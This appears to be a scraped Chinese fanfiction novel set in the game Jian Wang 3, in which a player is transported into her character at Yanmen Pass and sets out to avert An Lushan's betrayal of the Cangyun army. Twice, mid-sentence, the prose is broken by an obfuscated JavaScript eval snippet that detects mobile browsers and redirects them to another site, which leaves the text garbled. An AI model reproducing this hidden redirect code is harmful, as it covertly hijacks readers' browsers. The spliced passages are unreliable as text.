《[剑三]侠骨生香》 1. 缘起阴阳两界通 雪覆胡关摧冷草,天宝四年,雁门关的第一场雪似乎来得格外早。 夜色已深,银装素裹的北地庄严而静谧,北风呼啸,雪花簌簌之余,只有长城上夜巡的苍云士兵行走间铁甲轻轻碰撞出的清脆声响。 除却初雪的到来,似乎又是个寻常的夜晚。 打破沉寂的喧嚣是从雁塔传开的,燕忘情收到消息赶到时,只看见一群玄甲铁衣的士兵围在一起,面上的神情是她此前从未见过的古怪。 “某这双眼怎可能出问题?真的只是一息工夫,仿佛凭空出现在雪堆里的!” “可这娃娃看上去不过总角之年,比晚晴还小哩,怎地会在这雪夜跑到雁塔来?” “莫不是……莫不是什么精怪吧……” “咳咳!燕帅!” 听到这个称呼,士兵们不自觉挺直了腰板,自发让出一条道来,也让燕忘情得以窥见那“精怪”的模样—— 一个身量不足三尺的女孩,被火光映照着的脸颊尚且透着孩童的稚气。她着一袭白碧相间的襦裙,布料单薄,与周遭的皑皑白雪格格不入,样式倒颇有些眼熟*。 燕忘情的目光扫过女孩发间白羽般的纱帽与低垂的碧色流苏,又落到对方戴着护甲的手指,最后定格在一旁静静躺着的琴上。 一名将士适时解释:“燕帅,这琴也是我们在这女娃身边捡的。” 流水般的青玉环绕着琴身,间有做工精巧的花朵点缀,漆黑琴体上有处颇大的凹陷,琴头琴尾都坠着青色流苏,纵是不通音律之人也瞧得出这琴绝非凡品,更何况血色火光之间,这琴还泛着青色的幽幽冷光,恍惚间还似有青色翎羽上下翻飞*。 燕忘情眉梢微挑,心头浮起一个猜测。 她俯下身拿起那张琴,将它翻过来,果不其然看到了一把通身墨色的剑。 藏剑于琴,剑胆琴心……然而这被印证的猜测却让她眉头皱得更紧了。 昏睡中的女孩同样眉头紧锁,似乎并不好受。 燕忘情稍稍检查了一番她的状况,发现似乎并未伤到骨头,思忖片刻后道:“先把她带回女卫营照看吧,此事莫要宣扬,尤其所谓精怪之说。” 玄甲苍云向来军纪如铁,令行禁止,天光破晓之后,除却当晚发现女孩的士兵与军中各位统领,也只有军医知道女卫营的军帐里多了个从雪地里捡回来的孩子。 主帅帐中,苍云统帅薛直将手指定在舆图一点,沉吟道:“衣着打扮,剑胆琴心……的确像千岛长歌弟子,等她醒来细细问过便是。” “然这姑娘如此稚龄,孤身一人重伤昏迷在雁塔之下,也着实古怪。”风夜北缓缓开口。 燕忘情道:“我已命忆眉及女卫营众将士仔细看顾她,一有醒转迹象便速速上报。” 所谓看顾,一为照顾,二为监视,边防重地,不容轻忽。 薛直微微颔首,目光转向帐外,眼底多了丝沉冷,换了个话题:“今岁天冷得早,北边那群饿狼恐怕又要来犯了。” 每逢深秋,大雪满山的时候,关外的奚人没了水草丰美的草原供给,便总会对着关内的大唐蠢蠢欲动,苍云军纵有玄甲护身,毕竟血肉之躯,也不免为此烦忧。 “还有新岁征兵事宜,近来广武镇中倒也多了不少生面孔。”申屠兄弟对视一眼,“但愿今年能再多几个可以生死相托的同袍……” 主帅帐中议事仍在继续,话题已移至防御工事与征兵事宜,而几丈开外的女卫营里,上个话题的中心人物正安安静静地躺在床上,双目紧闭,眉头微蹙。 “眉姐,她出了好多汗。”燕疏影拿方巾擦了擦女孩额头的细汗,望向刚走进营帐的燕忆眉,“是不是火烧得太旺了?” 燕忆眉将手探向女孩的额头,反倒往火炉中添了把柴,道:“发些汗好,这孩子看起来身量单薄,体质不比我等,身上还有高处坠落的淤伤,又在风雪中不知待了多久,让她多沾些热乎气,免得染上风寒。” “那我去瞧瞧姜汤熬好没有……” 然而她们想不到的是,这汗并非因为炽盛的炉火,比起姜汤,女孩更需要的,恐怕是一剂能招魂的灵丹妙药。 江照月隐约能听见自己周遭发生了什么,从她被雁塔守卫发现到被带回女卫营照看,还有期间在她身边出现过的人…… 假使她神志清醒,恐怕会在见到燕忘情的第一眼就忍不住心潮澎湃地扑上去,虽然结果可能是她先被当成刺客关起来,虽然她更熟悉的那个人已经改回“长孙”这个显赫的姓氏。 可惜现实是,她根本做不到。 穿越这种事,对于每个看过网文追过剧的二十一世纪现代人,都绝不陌生,江照月作为一个爱宅在家看小说打游戏的女青年,自然不能例外。 可她以前从来只当穿越是种单纯的幻想,哪能想到只是在游戏里碰瓷个绝世奇遇的契机,就让她来到了这个自己既熟悉又陌生的世界呢? 她变成了剑网三里自己花费最大心血养成的角色,一个名为照月的琴萝。 ——一个身高不到一米,穿着前些天美美领取的天极套长歌校服,背着长歌玩家心里的白月光橙武青玉流的琴萝。 起初,照月只当自己自己在做梦。 她还记得自己最近因为被导师抓去写论文已经连续熬了好几天夜,拖着疲惫的身体躺上床才忽然想起今天的奇遇还没碰瓷,于是挣扎着拿起放在一旁的手机登上无界,熟练地神行到苍云雁塔,调好角度开始自动行走……后来发生什么她就不知道了。 再度睁开眼睛的瞬间,一股寒意扑面而来。 她正躺在冰凉的雪地里,四肢百骸都有种明显的钝痛,没等她回过神,一个半透明的鬼影先出现在她眼前——那才是刺骨寒意最主要的来源。 “啊——” 照月险些再度被这突然冒出的鬼影吓昏过去,尖叫着跟那鬼对视了一眼,紧接着以生平最迅捷的反应爬起来,撒腿就往前方的雪原跑去。 那鬼紧咬着她不放,还不断攻击着她,恐惧和疼痛令她根本不敢思索停下的后果。 就在这时,她耳边传来模糊的人声,“苍云”“雁塔”的字样混着呼啸的风声钻进她的耳朵。 照月心里陡然一凛,忽然发现自己头上顶着一个鲜红的长矩形,红色的部分还在随着后面那只鬼的攻击不断减少。 “什么鬼!做梦梦见我出阴阳了?!” 她依旧只当眼前遭遇是场梦,既然是梦,被勾魂使者追上自然也没什么大不了,惯来缺少运动细胞的照月于是一派安详地停在了原地。 勾魂使者似乎因她这副放弃挣扎的咸鱼模样愣了愣,眼里闪过一丝自己也莫名其妙的无奈,便迅速飞身上前准备拘走这个发着淡淡白光的灵魂。 这模样稚嫩的魂灵甚至好奇地打量着他,口中念念有词,说着他听不懂的话:“按照原本的任务流程,如果在追捕过程里死亡,应该要去洛道再次被追……不会还要再来一次吧,救命,我真的跑不动了……” 勾魂使者:“……” 自大唐建朝以来,他便管束着这片土地上的生灵轮回,幼年夭亡的魂灵也见怪不怪了,却还是头一回遇到这么古怪的女娃娃。 然而再古怪也要束手就擒,勾魂使者没有犹豫,抽出勾魂索便要朝那个小小的影子甩去。 照月忽然感到一股令她毛骨悚然的气息,潜意识向她发出警报,眼前一切似乎并非梦境那么简单,逃生的本能让她倒地一滚,避开了那条阴气浓重的绳索。 就在这时,她的眼底忽然映出一道金黄色的流光。 “等等,那是——” 勾魂使者并未把这句话放在心上,他一击不成再接一击,然而勾魂索甩出之后,伴随着“砰”的一声响,反倒是他自己脑后一痛,眼前天翻地覆,最终无力地倒在了地上。 照月瞪圆了眼,惊讶地望着已经人事不省的勾魂使者,在那个圆润金黄的肇事者朝她飞过来时本能地选择了躲开。 擦肩而过的瞬间,她脑海中忽然冒出一堆问号。 ——谁能告诉她为什么那个把勾魂使者砸晕的物体长得这么像黄鸡大笑玩偶啊! “这个梦过于抽象了吧,合理怀疑我最近的精神状态很差……”照月忍不住轻声呢喃。 “不是梦哦,还好赶上了……”一个稚嫩的声音幽幽传来,而后清了清嗓子,故作严肃地说,“恭喜玩家成为第一个被选中前往剑三大唐世界的侠士……唔!唔唔!” 照月已经把那个黄鸡大笑玩偶捡起来,掐住了它手感绝佳的脸蛋。 “请侠士不要蹂躏系统!禁止蹂躏系统!禁止蹂躏系统!禁止蹂躏系统!” 照月没理会系统的抗议:“这个梦还挺符合逻辑的,竟然连系统都有了……” “侠士,这不是梦。”玩偶的表情从大笑变成委屈,“如果侠士刚刚被勾魂索击中,就没有第二次机会了!侠士会死,这是真的……系统绑定中,界面加载中,十,九,八,……” 照月盯着那双含着热泪的卡通大眼看了几秒,慢慢消化着这个匪夷所思的事实。 随着系统的倒计时,她的视野也逐渐发生了变化——左上角出现了小头像和血蓝条,右上角是圆形的小地图,左下是焦点列表,下方是聊天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345209|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频道和快捷栏,右下…… 直到倒计时结束,右下角都是一片空白。 “绑定结束了?” “侠士相信我的话了?” “信了。” “侠士或许没有意识到,你在现世的意识体已经因为过度劳累猝死,但由于侠士已被系统选中参与人类意识上……等等,侠士相信了?” 照月把系统玩偶举到面前,答道:“如果真的是穿越,根据目前的主流网文,可能有几种情况,无外乎系统是好是坏,背后有没有主神的阴谋,原主灵魂是否还在……” 黄鸡玩偶的眼睛变成了蚊香圈。 “虽说你刚刚差点迟到,但毕竟还是从勾魂使者手里把我救了下来;至于你背后有没有主神,那是我之后才好去探究的事。”照月放柔声音,“还有原主的灵魂,我穿越到了自己养成的角色身体里,除非我的咕宝已经有了自己的意识……小黄鸡,能告诉我她在不在吗?” 黄鸡玩偶沉默两秒后疑惑地问:“根据主流网文,侠士不应该先关心自己能不能回到现实,还有自己家人的情况吗?” 照月抿了抿唇:“答案无非两个,能或不能。能的话自然皆大欢喜,不能的话……我又能做什么呢?我的家人又能怎么办呢?” 不是不想问,只是人生双目,总要往前看。 黄鸡玩偶又沉默了,而后老实巴交地说:“侠士要是问,我就能告诉你,只要好好完成任务,就有机会回到猝死前一年的任意时间……真的!我们不是绑架犯!我们是在测试……” 它忽然没了声音,照月依旧盯着那双卡通眼睛,恍然道:“你不能说,这要保密。算了,倒不如先回答我之前的问题,我可不愿当个夺舍自己女鹅的杀人犯。” 黄鸡玩偶在她怀里扭了扭,避开她的目光轻声道:“她永远和你同在。” 照月缓缓睁大眼睛,忽然又掐了把它的脸蛋,这次的力道却温柔许多。 她干脆利落地说:“来吧,咕——咳,小黄鸡,发布任务之前先交代一下背景,我这是在苍云雁塔?现在是什么时候?” 系统似乎没留意到她的口误,飞快地答道:“公元745年,也就是天宝四年的秋天。” “天宝四年?”照月沉思片刻,忽然猛地抬起头,望向周遭还是黑白两色的世界,声音里难掩激动,“是在雁门关之役发生之前?我是不是有机会改变苍云军的命运?” “叮——接取新手任务:解决雁门关之围。”一道电子音在照月脑海中响起。 照月看了眼同样难掩激动的黄鸡玩偶,不由摇摇头:“新手任务?真看得起我啊。不过来都来了,哪怕不是因为任务,我也做不到冷眼旁观。” 正所谓:有人居庙堂,有人守边疆,同忧同行,为太平故。* “可不要小瞧苍歌之间的羁绊。”照月轻声道,脑海中已经快速思考起苍云的形势。 还是系统小声提醒她:“勾魂使者醒了。” 照月险些下意识翻身爬起就往前冲,却听见一道沁着凉意的声音传来:“嘿!你别跑啊,我有事找你!”* 这句话有些耳熟,而且眼前的勾魂使者似乎有古怪,和先前对她穷追不舍的那个不太一样——莫不是脑袋被系统砸坏了吧! “我还没跑呢。”照月小声嘟囔,抱着能当做武器的黄鸡玩偶,谨慎答话,“什么事?” 勾魂使者愣愣地回道:“我乃阴阳两界之间的勾魂使者,想请大侠助一臂之力。”* 黄鸡玩偶小声提醒:“是阴阳两界的奇遇剧情,由于侠士的穿越节点为阴阳两界,首先解锁了奇遇系统,即侠士认知中的金手指。请侠士努力完成奇遇,获取奖励。” 虽觉眼前情景有几分诡异,照月还是根据从脑袋里扒拉出来的阴阳两界剧情回道:“我一介凡人,如何帮你?”* “少侠机缘巧合,身处阴阳两界之间,更兼身手了得,实在是不二人选。”* 照月下意识看了眼怀里真正身手了得到能把勾魂使者砸晕的黄鸡玩偶,硬着头皮道:“且说来听听。”* 勾魂使者立刻回答:“天策名将杨宁牺……”* 这句话脱口而出的瞬间,一人一鬼一系统全都反应过来——天宝四年,天枪杨宁还活得好好的呢! 勾魂使者脸上露出愕然的神情,仿佛一息之间活了过来。 黄鸡玩偶从照月怀里一跃而起:“侠士,我先送你魂魄归位!” 照月眼前一黑,脑海里闪过铺天盖地的鄙视表情。 ——这要命的穿越,怎么金手指还出了个让它形同虚设的bug呢? 2. 片语只言叩警钟 “还好只是些皮外伤,待会儿我拿些专治淤伤的药膏来,今夜之后再辅以热敷,以姑娘的筋骨体质,想必很快就能痊愈。” 照月怔愣地望着虽样貌平平却声音美妙的女子,看着对方头上以及焦点列表里“林画扇”的名字,愈发有了穿越而来的真实感。 “多谢姑娘。”她拱手行礼,又环顾了一番四周,明知故问,“此地可是雁门关?” “确是雁门关。”玄甲铁衣的女将掀开帐门走进来,“在下苍云军女卫营统领燕忆眉,这位是林画扇林大夫。我苍云将士在雁塔下发现姑娘昏迷在雪地里,不知是何缘故,可需我苍云援手?” “苍云军救我回营,已是雪中送炭。”照月腼腆一笑,自报家门,“说来惭愧,我名江照月,家师乃是长歌门门主,此行本是奉师命出门历练,怎料……在关外失了方向,之后望长城而来,又偏巧雪天路滑,不慎跌落,幸得诸位相救。” “原是四指流云杨逸飞座下弟子,我本江南人士,素闻千岛长歌美名。”林画扇神情微讶,“我观姑娘不过金钗之年,果真是英雄出少年。” 燕忆眉也道:“原来如此。” 照月在心里悄悄松了口气,默默给正躺在她头顶呼呼大睡的系统点了个赞。 这看上去就像实习生的系统终于靠谱了一次。 她原本还有些担心更换外观体型会不会令这些不再是NPC的原住民感到古怪,现在看来有系统在身,样貌的改变与不合常理并不会引起旁人怀疑。 但这样一来,靠更换体型捏脸隐藏身份的计划恐怕也要落空了。 照月不免在心里苦笑一声。 旁人穿越大多有不凡的金手指,可是瞧瞧她,初始解锁的是奇遇系统,结果偏偏在任务环节卡住,现在跟一本连环画册毫无区别。 因着这份遭遇可以被归结为系统bug,靠着无数次在官博下面提出诉求的经验,照月理直气壮地向系统要来了一次补偿机会。 只是这补偿需要随机抽取……当时她就感觉情况不妙。 抽奖界面的金光完全消散后,照月和系统同时对着系统菜单里新解锁的外观一栏陷入了沉默。 良久,照月面无表情地翻完了自己一整个衣柜的翻车货,嘴角微微抽搐,开口道:“宝啊,你知不知道我们玩家里有这样一个群体,叫‘冲销上万,一身破烂’……说的就是我。” 黄鸡玩偶又在她怀里扭了扭,吞吞吐吐地说:“至、至少有很多新衣服穿,还可以换捏脸和体型……侠、侠士不是觉得宝宝体不方便活动吗?” 照月怎么看怎么觉得这玩偶扭动的姿势十分眼熟,末了叹了口气,拍拍玩偶的脑袋:“倒也不算一无是处,不过我现在的模样已经被不少苍云军看到了吧,换体型不会被他们发现?” 黄鸡玩偶连忙肯定地点头:“不会的,我……我以西山居的名义担保!” “那这担保我可不太放心……”照月笑了一声,“算了,我也不是第一天知道自己运气差。话说回来,挂件和外观的特效可以触发吗?” 黄鸡玩偶呆了呆,似乎并不知晓这个问题的答案,只有一个无情的电子音在照月脑中响起:“请侠士自行探索。” 照月耸耸肩,似乎对这个结果并不意外。 她托着腮思索片刻,身上的天极套校服换成了绿洛神衣搭配绿幽昙黑发,手指一滑,头上又多了只灵动的小肥啾,又不甚满意地摇摇头:“一般来说这一套我更喜欢在春天穿。” 黄鸡玩偶附和着点头,忽听她话锋一转:“先这样吧,现在我们来聊聊另一个疑似bug的问题——宝,右下角的技能栏呢?照理来说,武学系统是游戏最先解锁的内容,哪怕一开始只有最基础的傍身技能……宝啊,我只是个手无缚鸡之力的现代人,嗯,还不会弹古琴。” 假如真遇到狼牙军或者作乱的奚人,她恐怕也只能抡起琴一通乱砸,拔出剑一顿乱劈。 “早知道这样应该把普通武器里那几个门板一样的琴都拓印了,还能当盾牌用……” 她嘴上说着,脸上倒不见忧愁,反而是黄鸡玩偶急得团团转,如同火烧屁股。 “检测到系统漏洞,需强制重启。”又是那道无波无澜的电子音,“请侠士耐心等待。” 黄鸡玩偶不动了。 照月盯着它无神的眼睛看了两秒,在心里暗暗道:“你们果然不是一体的。” 她没有得到任何回复,过了一会儿,那道电子音说:“系统漏洞修补中,请侠士耐心等待,望自珍重。” 照月追问:“Debug需要多久?放在现实里只是重新登陆一次就行。” 系统答非所问:“请侠士为系统选择合适的载体。” 照月:“……就我头上这只肥啾头饰吧,你听得懂我说话吧?” “已选定头饰‘啾啾·金翎’,载体切换中……补偿发放中……” 又是一次抽奖机会。 照月盯着视野中央的宝箱做了半晌心理建设,开始交互,同时默默祈祷:“家园系统,背包仓库,家园系统,背包仓库……” “叮——祝贺侠士解锁称号系统。” “滋啦”一声,像是猫爪子挠门板的声音,照月磨了磨牙,皮笑肉不笑地问:“能重来一次吗?系统?系统!称号系统有什么用啊!” 脑海中寂静无声,照月相当怀疑那个操着一口电子音明显权限高于黄鸡玩偶的系统已经焦头烂额地跑路了。 而她,一个初来乍到连普攻键都没有的琴萝,在这危机四伏的雁门关怕是跟只小羊羔没有任何区别,可她的新手任务,是解决雁门关之围。 雁门关之役,无数剑三玩家这辈子都不想进入的副本,让苍云玩家险些入门即灭门的地狱开局,原时间线里发生的一切唯有惨烈二字可以形容。 它就发生在天宝四年的深秋。 一手策划这场悲剧的,正是如今的范阳节度使安禄山,安史之乱的“安”。 他表面上对李唐忠心耿耿,实则正暗中驯养私兵,扩张势力,命儿子安庆绪组建“狼牙”军,甚至靠威逼利诱策反了玄宗派来监视他的凌雪阁密探,而他下一步想要解决的,便是这长城之上没能被他收买的苍云军了。 若按照原本剧情发展,这一年李唐降公主于奚,意在双方和睦,可安禄山表面上为图边功,屡次对奚人用兵,导致奚族杀公主而反唐。 苍云军首当其冲,正与奚族战况胶着,听闻安禄山率范阳军来援,自是心中大喜,却不料迎来的是一把从背后刺来的弯刀。 统领申屠笑为掩护兄弟突围,将安禄山反戈的情报待出而战死;军师风夜北被流矢击中,双目失明;统帅薛直拼死断后,其魂魄至今仍在苍云魂墟徘徊,惦记着欠同袍的一壶酒…… 更可恨的是,安贼抢先一步上报朝廷,换来的是“安禄山平乱有功,薛直治军无方”的盖棺定论,更有监军颠倒黑白,奸相李林甫与安禄山蛇鼠一窝,将忮忌之名安到苍云将士头上,竟让忠臣良将被倒扣半年军饷…… 苍天无眼,苍天无眼啊! 再看看系统面板上为数不多解锁的“奇遇”“外观”和“称号”栏…… 能怎么办呢?照月心里发苦。 可来都来了,直接撂挑子也不是她的风格。 好在事实证明,称号系统还是有点用的。 至少此刻她顶着“折仙”这个门派称号,玲珑心窍的林画扇和心思细腻的燕忆眉便都不曾质疑她的来历——当然,可能只是表面如此,不过对她的计划而言,已经足够了。 等长歌弟子的身份被接纳以后再换上苍云声望钦佩的奖励称号“千秋雪”,大概率更能取信于苍云军诸位统领。 预知未来是她最大的优势,然而此时安禄山狼子野心尚未暴露,甚至因与戎狄作战英勇颇受苍云将士信赖,倘若她空口白话直接指控安禄山意图谋反,恐怕只会被视为妄图挑拨离间,扰乱军心的奸细。 如此看来,要解雁门关之围,只能徐徐图之,然而,留给她的时间也不多了。 但愿燕忆眉能觉察出她刻意表露的异样,但愿苍云诸位统领足够谨慎。 一人之力毕竟太过单薄,还需各位勉力自救。 她对那支在原本时间线上重生于复仇之火的队伍足够有信心。 …… “长歌弟子迷路至此?”燕忘情放下手中兵书,挑眉问道。 燕忆眉点点头,回忆道:“照月姑娘说,她本是奉师命出门游历,起先还与一位师兄同行,那位长歌弟子名为杨露轩,乃是受道子杨青月所托前往霸刀山庄寻大庄主柳惊涛。他二人于太原分开,杨露轩去往霸刀,她则因向往北地风光一路北上。” 燕忘情眉梢微挑:“如此说来,倒像个潇洒不羁的游侠了。” “确是性情中人。”燕忆眉答道,“据她所言,本还打算穿过草原往龙泉府渤海国一观,却在行经虚池驿时偶然见到宜芳公主题诗,又念及九龄公有关和亲之计的教诲,心有所感,遂从阴山折返,朝我们这儿来了。” “宜芳公主、九龄公……”燕忘情喃喃道,复又轻叹一声,“纵有公主和亲,怕也只能保一时相安无事,我只担心奚人反唐之心不死,加之近来范阳节度使安禄山频频对北部戎狄用兵,屡屡获胜,战功赫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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燕忘情补充道:“更何况九龄公任宰相时多次进言安大人狼子野心未果,受其教诲的长歌弟子耳濡目染间难免有失偏颇,对也不对?” 燕忆眉点头:“您曾经教过我,监察者决不能偏听偏信,至少得眼见为实。” 燕忘情弯了弯嘴角,却又立刻肃了面容:“眼见为实的前提是无人蒙住我们的眼睛,倘若一叶障目……” “所以相比之下,您更愿意相信……” 燕忘情微微摇头,手指轻击桌案:“范阳军中的眼线未必与我苍云同心同德,江南远道而来的游侠之言也不可尽信,但既然有此怀疑,未雨绸缪绝非杞人忧天之举,不可将我苍云无数将士的生死安危寄托在他人身上。” 更何况,已过不惑之年的安大人竟能认二十余岁的贵妃为母,又为军功对和亲修好之计置若罔闻……如此作风也令她不能苟同,只不过作为苍云军副统帅,她不便对此多加置喙。 “这样一来,先前的监视安排恐要全权作废。” “事关重大,务必保守秘密。”燕忘情肃容道,“至于那位照月姑娘,仍不可掉以轻心。” “我已同她说过,雁门关边防重地,来人需约束己身,请她见谅,并让疏影与白晴对她多加‘照看’,只是……”燕忆眉顿了顿,蹙眉道,“若她坚持要往奚人部落求见宜芳公主,又该如何呢?” “假使安禄山意图谋反,必视我等为眼中钉肉中刺,若其联合奚人两面夹击……”燕忘情缓缓吸了口气,“若她坚持,且由她去,我会着云煖另派人手跟随。” 说罢,她站起身来:“忆眉,去把云煖唤来,直接往薛帅营中,事关紧急,必须立刻告知薛帅与各营统领。” “是!”燕忆眉匆匆去了。 此时的照月对苍云军的反应一无所知,她正以养伤为名躺在床上假寐,实则正对着已解锁的系统思考自己还能做什么。 她固然对苍云的几位核心人物很有信心,却也深知雁门关之围的关键并不只在苍云。 “奚人部落必然要去,最好能化敌为友;若是有安禄山的眼线,最好能直接抓住,找到安禄山心怀不轨的证据;要是那位公主愿为人证,哪怕不能现在就扳倒安贼,至少也可以在玄宗心里多种颗钉子…… “慎言慎言,以后可得注意不能直接称呼那位为‘玄宗’…… “安插在范阳军内的凌雪阁密探叫什么来着?若能直接把那个叛徒抓住就好了…… “唉,没解锁家园或者背包,解锁信使也好啊,几封信分别寄给太子和王忠嗣,没准能早点揪出安禄山的狼尾巴,也可以寄给老谢,向浩气盟求援,可惜,可惜……” 找苍云地图的信使寄信也未尝不可,只是至少得等她彻底获得苍云军的信任,到那时没准黄花菜都凉了。 照月的目光依次扫过自己已获得的称号,最后缓缓定格在其中一个上。 “还是先往奚人部落走一遭,公主三月出降,不足六个月便遇害……时间不多了。 “也不知道靠装神弄鬼能不能过关。” 3. 金枝遇险神女现 北风卷地,八月飞雪。 凛冽朔风里,却有一支车队出了雁门关,穿过古战场,径直往北去了。 奚人营地,首领李延宠正在毡帐中与长老议事,面上神情很是不忿。 “这群该死的唐兵,屡屡威逼我奚人,嘴上说着求和,却多次犯我地界,伤我儿郎,实在欺人太甚!” 头发花白却依旧目光锐利的长老阿古达木同样怒火中烧:“哼,他们要和便和要打便打,究竟把我等置于何地?真当我奚族无人吗?” 首领的另一名心腹阿会苏转了转眼珠,将手中匕首拍在桌案上,恶狠狠地说:“首领,要我说那些狡诈的唐人根本不是真心求和,说是送公主来和亲,可谁不知道这公主是何来历?她根本不姓李!既然他们欺我奚族,干脆杀了那假公主,反了——” 没等他说完,一个士兵匆匆冲进帐中:“报告首领!一支大唐商队由南向北而来,正停在映雪湖东侧修整。” 这探子喘了口气,仿佛竭力按捺着心中激动,说道:“那商队运了好几车的粮食!” 李延宠登时从主座起身:“确定没看错?” 探子连连摇头:“绝对没有!我们亲眼看见他们从车上取了粟麦出来烹食……” “好啊,好啊!”李延宠拊掌大笑,“天不薄我奚族!阿会苏,传令下去,着苏德、索朗带着儿郎们抢了这粮队!” “且慢,首领,小心有埋伏。”阿古达木心怀疑虑,阻止道,又转向那探子,“你且把那商队还有周遭情况细细说来。” 探子仔细回忆:“映雪湖周遭空旷,并未发现有士兵埋伏的痕迹……听那些商队护卫谈话,他们走的是从太原出雁门往阴山的商路,应是往回纥去……” “回纥。”李延宠在口中咀嚼了一番这个词,忽地将手边酒杯砸在地上,“自公主至我奚族,我便对族人多加约束,禁止他们侵扰商道。与那些唐军士兵偶有冲突都是因为他们先行挑衅,就算有个别儿郎南下犯边,也是实在饿极了——” “唐皇既甘愿舍近求远,更意与回纥交好,就莫要怪我们把送到嘴边的肉抢过来。”李延宠一拍桌案,“传我命令!族人们马上就能填饱肚子了!” “是!”阿会苏即刻应声,又试探着问,“那些商人护卫……” 李延宠思索片刻,挥挥手:“且留他们一命,活捉回来好吃好喝招待一顿,再让他们回去告诉那些官员将军,若是再派兵扰我族生息,可就没有下次了。” 阿会苏低眉顺目地出了营帐,匆匆往被首领点名出动的勇士那里去了。 在他走后,一个瘦削的身影才从堆了雪的灌木丛钻出来,急急忙忙奔往另一个方向。 “公主!公主!不好了!”那瘦削身影恰是奚族派来照顾宜芳公主的乌日娜,她本是奉公主之名去请首领,不意竟听见如此大事,赶忙回来报信,“我刚才听到阿会苏鼓动首领杀了你,反了大唐!公主,你快逃吧!” 她是奚族人,自然也对表里不一的大唐心怀不满,可她知道那并非公主的错。 公主为人随和,待她极好,乌日娜不忍心见公主丢了性命——她还不到双十年华呢…… 想到这里,乌日娜的眼眶便红了。 宜芳公主闻言先是一愣,继而面上多了一丝忧愁。 “妾心何所断,他日望长安。”她轻声念出这句有感而发的诗,握住乌日娜的手问,“好姑娘,多谢你挂念着我,你都听见了什么?没人发现你吧?” 公主这时候还在为她担忧……乌日娜摇摇头,吸了吸鼻子,把刚刚在帐外听到的消息一一转述出来:“就是这样……现在苏德他们估计已经出发了。” “首领不曾与我说过唐军挑衅之事,原来竟至如此恶劣田地。”宜芳公主怔愣地望向窗外,“他们如此行事,想来也并不在意我这个宗室女出身的公主……” 或许从她接到圣旨,冠上“公主”之名,离开长安的那一刻起,便已经是枚弃子了。 乌日娜见她面上一片愁云惨淡,想是心中悲苦难耐,咬牙反握住她的手,重复道:“公主,逃吧,只有逃了才有机会活下来。” 她是个在草原上长大的姑娘,不懂那些文化人心里的弯弯绕绕,只知道活着才有希望。 可对于一名身负和亲使命的公主而言,宜芳知道事情没有那么简单。 眼下只是阿会苏试图说动李延宠,反唐之心尚未显露,若她先一步跑了,反倒是直接把借口送到奚人手中。 更何况这帐外白雪茫茫,她手下并无多少可用之人,纵是逃,又能逃到何处? 除此之外,宜芳觉得此事还有蹊跷。 自知晓自己将出降奚族之后,她便了解过周遭情况——原本常年负责抵御奚族的乃是雁门关薛直薛将军统率的苍云军,薛将军乃名将薛仁贵之后,作战英勇无畏,更兼为人宽厚仁爱,不像是会为军功派兵主动挑衅奚族的作风,而附近的另一支唐军…… 宜芳只知道安禄山安大人军功赫赫,深得圣上青睐。 她定了定神,冲忧心忡忡的乌日娜摇摇头:“让我好好想想,好姑娘,至少眼下我还不能逃。” 乌日娜嘴笨口拙,不知道该怎么劝说她,只好在公主身边陪伴,看她写着自己认不全的汉字,一连废了好几张信纸。 熊熊燃烧的炉火吞没了无用的废稿,宜芳搁下毛笔,对着仍未成书的信叹了口气。 就在这时,由远及近的喧嚣声传到帐中,她们甚至久违地听到了孩子的歌声。 乌日娜探出头去朝外望了一眼:“是苏德他们回来了,带着粮车,还有俘虏。” 宜芳揉了揉眉心,望向对面铜镜中的自己——不再丰腴的脸,微微蹙起的眉,她站起身,对乌日娜说:“来帮我梳妆吧,待会儿我要去求见首领。” 奚人营地正中,一群孩童正围着粮车载歌载舞。 装着粟米的麻布口袋被割了一刀,金黄的粟米从豁开的口子中流出来,淌入白雪,仿佛生了遍地黄金。 一个面黄肌瘦的孩子甚至直接从雪地里抓起一把粟米塞进嘴巴,被长辈在背上来了两巴掌也还是咧开嘴笑着的。 粮车车辕上用粗粝麻绳捆着一串俘虏,个个噤若寒蝉,低垂着头。 最中央还有辆外表朴素却用料精良的马车,两个奚人士兵守着车门,雪亮刀刃将车内一女一男吓得缩在角落里瑟瑟发抖。 这群“俘虏”并非旁人,正是从雁门关北上的照月一行。 自打决定要往奚人部落走一遭,照月便在苍云军中和广武镇里打听了不少有关奚族的情报。 包括奚人在内的北部诸胡数十年来屡屡进犯大唐边境,直至苍云军驻守雁门后才常遭败绩,不得不向大唐求和。 天宝四年三月宜芳公主出降奚族,此后奚人倒是安分了一段时间。 但一来春夏草原水草丰美,几个月来奚族仅靠游牧已能自给自足,无需向南掳掠;二来奚族与苍云军交战多年,双方积怨已深,从不少苍云士兵的态度里,照月不难发现他们对奚族的敌意。 眼下初雪已至,寒意渐深,正是往年奚族常来劫掠的时机,安禄山选择此时对奚人出手,既为边功,亦为挑起奚人与大唐之间的仇怨。 奚人若反唐,首当其冲者绝非他手下范阳军,而是常年与奚作战的苍云军。 苍云军与奚人本就有积怨,自是要战便战,此前又从未怀疑安禄山别有用心…… “好歹毒的计策,好狡诈的豺狼!” 距离苍雪龙城赛季已过去多年,可只要一想到剑三原剧情里雁门关之役的惨状,照月还是会气得红了眼。 她忍不住轻斥一声,惹得一旁的李无衣皱眉看向她。 这位李小将军也算是照月在游戏里的熟人了,想到这两年每次双倍掉落活动就常驻河阳之战的经历,照月看他自是十分亲切。 只是在对面的李无衣心里,这种亲切恐怕就荡然无存了。 “奚人派兵劫掠我大唐商队,果然贼心不死。”李无衣握紧了拳头,沉声道,“照月姑娘,我不知你此行是何打算,但奚人反判之心必须报与统帅,随你而来的同袍也决不能折在此处!” 